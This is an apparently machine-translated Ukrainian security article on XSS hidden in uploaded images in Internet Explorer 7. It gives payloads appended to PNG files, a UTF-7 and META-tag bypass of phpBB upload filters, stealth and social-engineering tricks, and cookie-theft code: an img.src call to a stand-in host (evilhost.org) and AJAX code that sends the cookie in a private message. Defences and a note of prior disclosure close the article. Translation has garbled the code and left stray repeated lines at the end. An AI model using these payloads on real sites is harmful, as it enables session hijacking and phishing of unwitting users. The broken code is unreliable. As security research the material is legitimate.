Обхід фільтрації завантажуються зображень в ряді Web-додатків для здійснення XSS атак

  1. Вступ
  2. опис
  3. обхід фільтрів
  4. скритність
  5. способи захисту
  6. висновок

Особливість відображення зображень не нова, і можливість здійснення атаки XSS через картинку була відома давно. Але оскільки в новій версії браузера Internet Explorer 7.0 дана особливість була проігнорована, це дало привід підійти до даної проблеми знову.

Олександр Штокман

аналітик з інформаційної безпеки компанії

Digital Security

Email: [email protected]

Вступ

Як відомо, завантаження зображень користувачем на web-сервер підтримується величезною кількістю сайтів - наприклад, всілякими CMS (Bitrix, runCMS, Mambo), форумами (PhpBB, vBulluten), поштовими серверами (mail.ru, yandex.ru), блогами (livejournal. com, liveinternet.ru, myspace.com). Подібні сайти потенційно вразливі до атаки XSS, пов'язаної з особливостями обробки web-сторінок (в тому числі - зображень) в браузері Internet Explorer.Особенность відображення зображень не нова, і можливість здійснення атаки XSS через картинку була відома давно. Але оскільки в новій версії браузера Internet Explorer 7.0 дана особливість була проігнорована, це дало привід підійти до даної проблеми знову. Можна, звичайно не звертати на це увагу, аргументуючи це браком клієнтського додатка але, через ту ж картинку є можливість залити PHP-шелл, і використовувати його при наявності уразливості local PHP include, і в цьому випадку особливості браузера будуть вже ні до чого. Цей факт ще раз підтверджує те, що фільтрація необхідна в будь-якому випадку, якщо ми маємо справу з одними даними.

опис

Отже, почнемо з опису того, яким чином Internet Explorer обробляє графічні файли. Якщо при обробці графічного файлу зустрічаються символи, нехарактерні для оброблюваного формату, то викликається метод, який аналізує ці дані і порівнює отримані сигнатури з сигнатурами підтримуваних форматів. Якщо знаходиться відповідний формат, то браузер починає обробляти файл в Відповідно до цього формату.

Пояснимо на прикладі. У нас є зображення у форматі PNG, що складається з однієї чорної точки.

У нас є зображення у форматі PNG, що складається з однієї чорної точки

Мал. 1. Вихідний графічний файл у форматі PNG

Природно, що якщо ми відкриємо наше зображення в браузері, то побачимо просто чорну крапку. Але якщо в кінці файлу із зображенням дописати (в шістнадцятирічних кодах) добре відому рядок:
<Script> alert ( 'Image XSS') </ script>
і знову відкрити цей файл в Internet Explorer, то браузер, обробивши зображення, виявить фрагмент даних, який не є частиною зображення, обробить його як HTML, в результаті чого наш скрипт виконається в браузері.

Мал. 2. Змінений графічний файл у форматі PNG

Мал. 3. Отримання cookies користувача з mail.ru

Наприклад, можна надіслати листа користувачеві сервера mail.ru з прикріпленим зображенням. Якщо користувач, який отримав лист, вибере перегляд зображення, то записаний в файл зображення скрипт виконається і, наприклад, відправить cookie невдалого користувача на поштову скриньку порушника. На малюнку 4 представлений результат роботи вбудованого в зображення скрипта (на mail.ru), який просто виводить cookie користувача на екран, тим самим демонструючи можливість отримання доступу до cookie жертви.

обхід фільтрів

Все, що було написано до сих пір, насправді, не є новиною. На практиці описаний метод часто не працює, так як розробники останнім часом почали включати в web-додатки спеціальні фільтри для перевірки вмісту графічних файлів на наявність «сторонніх» даних і тим самим ускладнили завдання порушника. Це цілком розумний хід, оскільки серверний додаток, що піклується про свою безпеку зобов'язана, перевіряти правильність будь-яких призначених для користувача даних посилаються на сервер, будь то GET, POST запити, cookies, і тим більше файли з даними, в не залежності від особливостей обробки цих даних клієнтськими додатками .

Подивимося, чи можна якимось чином обійти фільтр. Основна проблема полягає в тому, що не всі існуючі методи обходу фільтрів працюють для картинок. Наприклад, XSS в тезі <META> не обробляється в принципі, хоча фільтрами пропускається. Наше завдання - знайти саме такий спосіб, який працював би для зображення і обходив фільтри [2].

В ході первинного дослідження виявилося, що існує тільки три робочих способу виклику скрипта:

  • <Script> alert () </ script>
  • <Img src = javascript: alert ()>
  • <Table> <td background = "javascript: alert ( 'XSS')">

    І всі вони, на жаль, не проходять фільтрацію. Фільтруються HTML-теги, тобто, якщо у вмісті картинки зустрічаються рядки "<script", "<img", "<table", то картинка вважається неправильною і завантажити її на сервер не вдається.

    А що, якщо використовувати іншу систему кодування, наприклад, UTF-7? Це допоможе нам обійти фільтри, так як в UTF-7 кодуванні символи "<", ">" замінюються на "+ ADw-", "+ AD4-" відповідно. Щоб браузер сприймав текст в кодуванні UTF-7, необхідно виконання одного з трьох умов:

  • Поле Content-Type з заголовка http-відповіді сервера містить інформацію про кодування сторінки
  • Content-Type: text / html; charset = UTF-7
  • У вмісті сторінки присутній тег <META>, в якому вказано кодування сторінки:
  • <Meta http-equiv = "Content-Type" content = "text / html; charset =" UTF-7 ">
  • Браузер користувача налаштований на автоматичне визначення кодування.
  • Нам підходить другий варіант, адже, на відміну від звичайних XSS, ми можемо контролювати всю сторінку, а саме, можемо використовувати тег <META>. Отже, перепишемо вміст нашого зображення так, щоб спробувати обійти фільтр (рис. 4), і перевіримо це на одній з найпопулярніших реалізацій форумів - PHPbb.

    Рис.4. Графічний файл з даними в кодуванні UTF-7
    Як ми бачимо на малюнку 5, зображення загрузилось, обійшовши фільтри.

    Рис.5. XSS в картинці (обхід фільтрів PHPbb)

    Насправді, можна обійтися і без UTF-7. Для того, щоб той чи інший скрипт спрацював в зображенні, необхідно, щоб Internet Explorer розпізнав HTML-сторінку в потоці даних, що аналізуються. Це можна зробити, наприклад, використовуючи теги <html>, <head>, <body>, і після цього вставляти ті чи інші способи виклику скриптів. Наприклад, наступний текст, вставлений після картинки, теж проходить через фільтри:

    <html>
    <head>
    </ head>
    <meta http-equiv = "Content-Type" content = "text / html">
    </ head>
    <body>
    <IFRAME SRC = "javascript: alert ( 'XSS');"> </ IFRAME>
    </ body>
    </ html>

    Тим не менше, використання UTF-7 дає нам велику непомітність для фільтрів, тому що тег "<iframe" в будь-якому іншому web-додатку може фільтруватися. З огляду на описане вище використання додаткових кодувань і всілякі додаткові методи обходу фільтрів, виходить, що завдання написання хорошого фільтра аж ніяк не тривіальна.

    скритність

    Отже, у нас є вже практично готовий експлоїт, який можна використовувати, замінивши alert () посиланням на сенсор, який одержує cookie користувача. Але можна використовувати і більш гарне рішення.

    По-перше, недобре те, що на нашій сторінці виводяться, як ви вже помітили, бінарні дані графічного файлу. Найпростіший спосіб позбутися від цього - зробити текст кольору збігається з кольором фону, наприклад:

    document.body.style.color = "white";

    Тепер наш скрипт виглядає набагато красивіше.

    Тепер наш скрипт виглядає набагато красивіше

    Мал. 6. XSS в картинці (приховуємо зайве)

    По-друге, треба розуміти, що сконструйований XSS спрацює в двох випадках: або якщо користувач клацне на зображення (що малоймовірно), або ми дамо йому пряме посилання на зображення, застосувавши трохи фантазії в області соціальної інженерії. Основна думка полягає в тому, що ми намагаємося зробити нашу атаку максимально непомітною для користувача. Отже, якщо ми даємо користувачеві посилання на картинку, то це повинна бути картинка. Тому ми додаємо в наш скрипт справжню картинку, точніше - посилання на неї. Що використовувати в якості картинки, залежить від того, для кого вона призначена.

    Мал. 7. Маскування з додаванням посилання на картинку

    Отже, ми отримали майже готовий експлоїт, тільки він не робить найголовнішого - не передати порушника cookies. Для цього можна скористатися стандартним способом - перенаправляти користувача на наш сенсор шляхом вставки, наприклад, такого коду:

    img.src = "http://evilhost.org/sensor.php?"+document.cookie;

    Зазначений варіант не є оптимальним, так як розголошується адреса web-сервера порушника і всі його спроби приховати атаку приречені на провал. Можна, звичайно, перенаправляти користувача назад, але існує більш елегантне рішення.

    Напевно, всі чули про технологію AJAX. У цій технології є відмінне застосування в справі отримання несанкціонованого доступу до cookies користувачів. Немає сенсу в даній статті заглиблюватися в тонкощі AJAX, відзначимо лише, що суть методу полягає в тому, щоб за допомогою об'єкту XMLHttpRequestObject послати на сервер запит з вмістом cookies користувача. Єдина проблема полягає в тому, що пересилання даних за допомогою XMLHttpRequestObject на сторонній сервер викликає у браузера купу додаткових питань, що нам зовсім ні до чого.

    Пропонована ідея полягає в тому, що відсилати дані на сторонній сервер нам не обов'язково, адже ми в розглянутому прикладі використовуємо уразливості в форумах і CMS, які мають механізм відправки особистих повідомлень. Отже, ми можемо за допомогою нашого скрипта відіслати собі приватне повідомлення від імені жертви з вмістом його cookies. Ось стандартний AJAX-код, який відсилає дані на скрипт-сенсор:

    <Script>
    var XMLHTTPRequestObject = false;
    XMLHttpRequestObject = new ActiveXObject ( "Microsoft.XMLHTTP");
    XMLHttpRequestObject.open ( 'GET', 'http://www.site.com/privatemessage.php?
    '+ Window.document.cookie, true);
    XMLHttpRequestObject.setRequestHeader ( "Content-Type", "application / x-www-form-urlencoded");
    XMLHttpRequestObject.send (null);
    delete XMLHttpRequestObject;
    </ Script>

    В даному прикладі виділена основна частина скрипта, що відповідає за відсилання даних. Для того, щоб у нас вийшов повноцінний експлоїт, необхідно замінити параметри методу XMLHttpRequestObject.open на ті, які використовуються в конкретному web-додатку. Одержаний код потрібно додати в нашу картинку, конвертувати його попередньо в UTF-7. Підсумковий код зі зрозумілих причин не наводиться, але тому, хто зрозумів суть, дописати його не складе труднощів.

    способи захисту

    Ступінь захисту завжди пов'язана з зручністю використання, так і в цьому випадку ми повинні розуміти, що досконально перевіряти всі вхідні дані завдання дуже ресурсномістка. Але в разі, коли безпеку користувачів порталу критична, необхідно її забезпечувати в не залежності від того, що причиною є особливість браузера, адже для кінцевого користувача не важлива причина уразливості, його цікавить лише сам факт порушення безпеки. Існує кілька варіантів, в тій чи іншій мірі зменшують імовірність реалізації даної уразливості.

    • Зберігати картинки не в основному домені сайту (скажімо, domain.com), а в іншому, наприклад, pics.domain.com. Цим ми позбудемося атак, спрямованих на крадіжку cookies, так як вони прив'язуються до домену, але це не вирішить проблему в цілому.
    • Звіряти розмір зображення з тим, який повинен бути в заголовку графічного файлу. Це допоможе в тому випадку, якщо скрипт дописується в кінець зображення, але не врятує тоді, коли ми вбудуємо його в саму картинку і скорегуємо розмір.
    • Удосконалити фільтр Web-додатки, щоб фільтрувати всі можливі теги або хоча б основні, за якими Internet Explorer визначає, що документ є HTML-сторінкою (це слова "html", "head", "body"). Даний спосіб дасть практично 100% результат, але потрібно враховувати, що чим сильніше фільтр, тим більша ймовірність заблокувати легальну картинку.
    • Використовувати елементарні операції над зображеннями. Наприклад, перед збереженням картинки розтягнути її в 2 рази, а потім стиснути. Це дасть нам максимальний захист, але в деяких випадках може бути критично по відношенню до якості зображень.
    • Використовувати комбінації тих чи інших методів залежно від ситуації.

    висновок

    На закінчення хотілося б коротенько описати переваги і недоліки даного підвиду XSS-атаки.
    переваги:

    • На відміну від Linked XSS, Image XSS не залишається в логах web-сервера, і її неможливо фільтрувати або виявити звичними засобами, такими як mod_security, PHP Hardening-Patch або Snort, так як в url не присутній сигнатури скрипта.
    • Посилання на картинку потенційна жертва натисне з більшою ймовірністю, ніж на Linked XSS, де в рядку URL присутня безліч незрозумілих символів.
    • Можна використовувати для фішингу. Ми можемо помістити в картинку цілу HTML-сторінку, яка підробляла б, наприклад, сторінку авторизації будь-якого сайту.

    недоліки:

    • Працює тільки в Internet Explorer.
    • Користувач повинен перейти за посиланням (або клікнути на картинку). Для цього, аналогічно Linked XSS, необхідний елемент соціальної інженерії.
    • Картинки можуть зберігатися на іншому сервері, тим самим виключаючи можливість отримання несанкціонованого доступу до cookies.

    Ми вирішили перевірити наскільки існуючих сайтів на наявність даної уразливості. Були обрані наступні сайти: securitylab.ru, google.com, mail.ru, xakep.ru, livejournal.com. Чотири з наведених п'яти сайтів виявилися вразливими, не піддався тільки Google.com. Адміністратори даних ресурсів були попереджені заздалегідь, до публікації статті.

    посилання:

    [1] RFC UTF-7
    http://www.faqs.org/rfcs/rfc2152.html

    [2] XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion
    http://ha.ckers.org/xss.html

    [3] XSS in Image Format
    http://milw0rm.com/video/watch.php?id=58

А що, якщо використовувати іншу систему кодування, наприклад, UTF-7?
Php?
Php?
Php?